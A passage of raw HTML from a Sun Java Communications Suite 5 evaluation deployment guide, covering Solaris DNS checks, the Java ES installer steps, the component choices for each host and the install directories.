class="pTableText"&gt; Users &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp42531"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Provisioned with test users &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt; &lt;p class="pAnchor"&gt; &lt;/p&gt; &lt;a name="wp42554"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table id="SummaryNotReq42537" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp42543"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table  3  Client Software Requirements  &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp42547"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Component  &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp42549"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Platform Requirement  &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42551"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Browser &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp43361"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Netscape™ Communication 7.1, Internet Explorer 6.0 sp4+, or Mozilla™ 1.7.12, Firefox 2.0.3&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt; &lt;p class="pAnchor"&gt; &lt;/p&gt; &lt;a name="wp42874"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; &lt;/p&gt; &lt;p class="pParagraph"&gt; &lt;/p&gt;&lt;a name="wp42556"&gt;&lt;/a&gt;&lt;a name="wp42588"&gt;&lt;/a&gt;&lt;a name="wp42592"&gt;&lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt; &lt;a name="wp42492"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Summary of Installation and Configuration &lt;/h2&gt; &lt;a name="wp42489"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Installing and configuring this example involves the following high-level steps: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp33052"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Preparing the system for Sun Java Communications Suite&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33053"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Running the Java ES installer and selecting the necessary components&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33054"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Installing Messaging Server, Calendar Server, Communications Express, Delegated Administrator, Instant Messaging, Web Server, Directory Server, and Access Manager software&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39361"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Delegated Administrator&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33055"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Messaging Server&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33058"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Calendar Server&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45911"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Communications Express&lt;/li&gt;&lt;/div&gt;&lt;a name="wp44506"&gt; &lt;/a&gt;&lt;a name="wp33060"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring users&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp33687"&gt; &lt;/a&gt;&lt;h1 class="pHeading1"&gt;Installing the Example &lt;/h1&gt; &lt;a name="wp34418"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section describes how to install and configure components on multiple systems for evaluation purposes. Some components are configured after installation, using component configuration tools. &lt;/p&gt; &lt;a name="wp45729"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section contains the following topics: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp43077"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Checking Installation Requirements&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Installing the Components&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Uninstalling the Components&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;h2 class="pHeading2"&gt; Checking Installation Requirements &lt;/h2&gt; &lt;p class="pParagraph"&gt; Before you install components, use the steps in this section to make sure the computer on which you are installing is ready. &lt;/p&gt; &lt;a name="wp33705"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Check System Requirements &lt;/h4&gt; &lt;a name="wp33706"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; The computer should meet the following requirements: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp33707"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;These instructions assume all actions are performed by the &lt;span class="cCode"&gt;root&lt;/span&gt; user.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33708"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The computer must have 2.2 GB free disk space for the zip files and zip image. Recommendation: Have image already unzipped.&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp33709"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Check DNS &lt;/h4&gt; &lt;a name="wp33710"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Verify that DNS is running and configured properly: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp43443"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Make sure that the &lt;span class="cCode"&gt;/etc/resolv.conf&lt;/span&gt; file has name server entries with the IP addresses of valid name servers. For example:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp43451"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt; &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp43446" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp43446"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; domain abc.beta.com   &lt;/p&gt; &lt;a name="wp43447"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; nameserver 172.18.61.120  &lt;/p&gt; &lt;a name="wp43448"&gt; &lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;a name="wp41188"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Make sure that the &lt;span class="cCode"&gt;/etc/hosts&lt;/span&gt; file has an entry for the fully qualified host name of the server. This fully qualified host name should be listed before the non fully qualified host name. For example:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34453"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt; &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp34461" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34461"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt;172.18.61.125 ds&lt;/p&gt;&lt;p class="pScreenText"&gt;172.18.61.126 am&lt;/p&gt;&lt;p class="pScreenText"&gt;172.18.61.95 mail    &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;a name="wp43456"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Make sure that the &lt;span class="cCode"&gt;/etc/nsswitch.conf&lt;/span&gt; file is configured to use files first to resolve host names. The hosts line in the &lt;span class="cCode"&gt;nsswitch.conf&lt;/span&gt; file should list &lt;span class="cCodeStrong"&gt;files&lt;/span&gt; first in its entry:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp34472"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt;  &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp34480" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp34480"&gt;&lt;/a&gt;&lt;a name="wp34482"&gt;&lt;/a&gt;&lt;p class="pScreenText"&gt; hosts: files dns  &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp33731"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Unzip the Sun Java Communications Services Zip Files &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp47798"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Download the Communications Suite software.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp42091"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Create a &lt;span class="cCode"&gt;filesystem and mount it on the global zone, and mount it as lofs to non-global zones.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33733"&gt;&lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Unzip the Communications Suite zip files in this directory. Then run the Java ES installer as described in the next section.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp33735"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Installing the Components &lt;/h2&gt; &lt;a name="wp33736"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; You install Communications Suite components by running the Java Enterprise System installer. &lt;/p&gt; &lt;a name="wp33737"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Start the Installer &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp33738"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Log in as &lt;span class="cCode"&gt;root&lt;/span&gt; to the machine on which you are installing Communications Suite software.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33739"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Change to the &lt;span class="cCode"&gt;JCS5&lt;/span&gt; directory where you stored and unzipped the Communications Suite zip files.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33740"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Change to the sun_java_commsuite5 &lt;span class="cCode"&gt;&lt;/span&gt; directory&lt;/li&gt;&lt;/div&gt;&lt;a name="wp44665"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Change to the &lt;span class="cCode"&gt;Solaris_x8&lt;/span&gt; platform directory.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33741"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Start the Java Enterprise System installer in graphical mode.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33742"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./installer &lt;/span&gt; &lt;/p&gt;&lt;a name="wp41812"&gt; &lt;/a&gt;&lt;a name="wp41214"&gt; &lt;/a&gt;&lt;a name="wp45917"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp45920" border="0" width="90%"&gt;    &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45920"&gt; &lt;/a&gt;&lt;p class="pNote"&gt; Note &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45922"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Solaris OS 10 installs an earlier version of the Message Queue (and possibly other software). You may need to upgrade this product prior to installing Communications Suite software. The Java ES installer detects that your system has an earlier version of a product and may present you with an option to Upgrade Existing Software. If you are presented with this option, continue with Step 8 that follows this note. If you are not presented with this option, skip to Step 19. If you are presented with the upgrade option, simply select the item to be upgraded and run the Java ES installer to upgrade the component. After the installer upgrades the component (or components), you can quit the installer then restart it to install the remaining Communications Suite components. Then you need to repeat the preceding steps.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp33744"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next at the Welcome page.&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accept the license.&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select the Upgrade existing software radio button then click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45925"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select the following products then click Next:&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList2"&gt;&lt;ul class="pSmartList2"&gt;&lt;a name="wp45926"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Sun Java System Message Queue 3.7 UR1&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45929"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;All Shared Components&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45930"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp45933" border="0" width="90%"&gt;    &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45933"&gt; &lt;/a&gt;&lt;p class="pNote"&gt;Note &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45935"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Also select the checkbox for multilingual packages if desired.&lt;/p&gt;&lt;p class="pParagraph"&gt;&lt;br /&gt;&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a name="wp45923"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next to upgrade shared components.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45945"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The installer verifies system requirements. When the installer finishes, click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45953"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The installer displays the Ready to Upgrade window. &lt;/p&gt;&lt;a name="wp45954"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45956"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Deselect the registration checkbox then click Install.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45959"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The upgrade begins. When the upgrade finishes, the Installation Complete page appears. &lt;/p&gt;&lt;a name="wp45960"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Close to exit the installer.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45963"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Restart the Java Enterprise System installer in graphical mode.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45964"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./installer &amp;&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45970"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next at the Welcome page.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45984"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accept the license.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45985"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The Choose to Upgrade window appears. &lt;/p&gt;&lt;a name="wp45986"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select the Install new software radio button then click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45974"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Select the following products then click Next to Continue&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList2"&gt;&lt;ul class="pSmartList2"&gt;&lt;a name="wp33745"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;on &lt;span style="font-weight: bold;"&gt;mail.abc.beta.com&lt;/span&gt; select the following components:&lt;br /&gt;&lt;/li&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Sun Java System Messaging Server 6.3&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp33746"&gt; &lt;/a&gt;&lt;/li&gt;&lt;li&gt;Sun Java System Calendar Server 6.3&lt;/li&gt;&lt;li&gt;Sun Java System Message Queue 3.7 UR1&lt;/li&gt;&lt;/ul&gt;&lt;a name="wp33747"&gt; &lt;/a&gt;&lt;div&gt;&lt;li&gt;on &lt;span style="font-weight: bold;"&gt;am.abc.beta.com&lt;/span&gt; select the following components:&lt;/li&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Sun Java System Communications Express 6.3&lt;a name="wp41712"&gt; &lt;/a&gt;&lt;a name="wp41721"&gt; &lt;/a&gt;&lt;/li&gt;&lt;li&gt;Communications Services Delegated Administrator&lt;a name="wp41714"&gt; &lt;/a&gt;&lt;/li&gt;&lt;li&gt;Sun Java System Web Server 7.0&lt;a name="wp45738"&gt; &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a name="wp41715"&gt; &lt;/a&gt;&lt;/li&gt;&lt;li&gt;Sun Java System Access Manager 7.1 (only the required software; no Client SDK)&lt;/li&gt;&lt;/ul&gt;&lt;a name="wp33749"&gt; &lt;/a&gt;&lt;li&gt;on &lt;span style="font-weight: bold;"&gt;ds.abc.beta.com&lt;/span&gt; select the following components:&lt;/li&gt;&lt;a name="wp33752"&gt; &lt;/a&gt;&lt;ul&gt;&lt;li&gt;Sun Java System Directory Server Enterprise Edition 6.0 (Core, Control Center, Command-Line Utility)&lt;/li&gt;&lt;li&gt;Sun Java System Directory Preparation Tool 6.4&lt;/li&gt;&lt;/ul&gt;&lt;a name="wp44680"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;on all systems select:&lt;br /&gt;&lt;/li&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;All Shared Components&lt;/li&gt;&lt;/ul&gt;&lt;a name="wp45756"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp45759" border="0" width="90%"&gt;   &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45759"&gt; &lt;/a&gt;&lt;p class="pNote"&gt; Note&lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45761"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;Select the checkbox for multilingual packages if desired.&lt;/p&gt;&lt;p class="pParagraph"&gt;&lt;br /&gt;&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a name="wp38135"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Some versions of Solaris require that the Java SE SDK be upgraded prior to installation. If you are prompted to upgrade the Java SE SDK, choose the default selection to automatically upgrade the SDK to the version included with the installer. Then click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48205"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next to upgrade shared components.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48194"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Specify the installation directories.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33755"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Locations: &lt;/p&gt;&lt;div class="pSmartList2"&gt;&lt;ul class="pSmartList2"&gt;&lt;a name="wp41727"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Directory Preparation Tool: &lt;span class="cCode"&gt;/opt/SUNWcomds&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48214"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Directory Server: &lt;span class="cCode"&gt;/opt/SUNWdsee&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48215"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Access Manager: &lt;span class="cCode"&gt;/opt&lt;/span&gt; (will create &lt;span class="cCode"&gt;/opt/SUNWam&lt;/span&gt;)&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48216"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Web Server: &lt;span class="cCode"&gt;/opt&lt;/span&gt; (will create &lt;span class="cCode"&gt;/opt/SUNWwbsvr7&lt;/span&gt;)&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48217"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Web Server Instance: &lt;span class="cCode"&gt;/var/opt/SUNWwbsvr7&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48218"&gt; &lt;/a&gt;&lt;a name="wp48219"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Messaging Server: &lt;span class="cCode"&gt;/opt/SUNWmsgsr&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48220"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Calendar Server: &lt;span class="cCode"&gt;/opt&lt;/span&gt; (will create &lt;span class="cCode"&gt;/opt/SUNWics5&lt;/span&gt;)&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48221"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Delegated Administrator: &lt;span class="cCode"&gt;/opt/SUNWcomm&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48212"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Communications Express: &lt;span class="cCode"&gt;/opt/SUNWuwc&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a name="wp43372"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accept the target directories for each product and click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp43380"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The installer verifies system requirements, such as memory, disk space, and operating system patches. When done click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33767"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Choose Configure Now then click Next.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33768"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The installer lists the components that must be configured after installation. This document informs you of the order in which to do so.&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList2"&gt;&lt;ul class="pSmartList2"&gt;&lt;a name="wp33770"&gt; &lt;/a&gt;&lt;a name="wp45775"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Sun Java System Messaging Server 6.3&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45778"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Sun Java System Calendar Server 6&lt;/li&gt;&lt;/div&gt;&lt;a name="wp41015"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Sun Java System Delegated Administrator&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39393"&gt; &lt;/a&gt;&lt;div class="pSmartList2"&gt;&lt;li&gt;Sun Java System Communications Express 6&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a name="wp33774"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next to configure the remaining components. You configure these components as part of the installation process.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp42112"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Continue with the following procedures to input the appropriate information for each of these products when prompted by the installer. &lt;/p&gt;&lt;a name="wp43204"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp43198" border="0" width="90%"&gt;   &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp43198"&gt; &lt;/a&gt;&lt;p class="pCaution"&gt; Caution &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp44734"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This example uses &lt;span class="cCode"&gt;root&lt;/span&gt; and &lt;span class="cCode"&gt;root&lt;/span&gt; (or &lt;span class="cCode"&gt;root&lt;/span&gt; and &lt;span class="cCode"&gt;other&lt;/span&gt;) for System User and System Group. These choices are satisfactory for evaluation deployments but not for production deployments. If you use this document to create a production deployment, use non-root identifiers. Refer to the &lt;em class="cEmphasis"&gt;Sun Java Enterprise System 2006Q4 Installation Guide for UNIX&lt;/em&gt; for more information.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp33776"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Select Common and Web Server Settings &lt;/h4&gt; &lt;a name="wp33777"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This installation assumes the use of Sun Java System Web Server. You can choose an alternate web container but that is beyond the scope of this document. &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp44749"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;In the Account Preferences Panel, you are asked whether or not you want to use your UserID and Password information for all administrator accounts, or if you want to provide administrator account information for each component. &lt;/li&gt;&lt;/div&gt;&lt;a name="wp44767"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Choose the All Administrator Accounts option and type &lt;span class="cCodeStrong"&gt;admin&lt;/span&gt; for the Administrator User ID and &lt;span class="cCodeStrong"&gt;adminpass&lt;/span&gt; for the Administrator Password then click Next. &lt;/p&gt;&lt;a name="wp33778"&gt; &lt;/a&gt;&lt;div 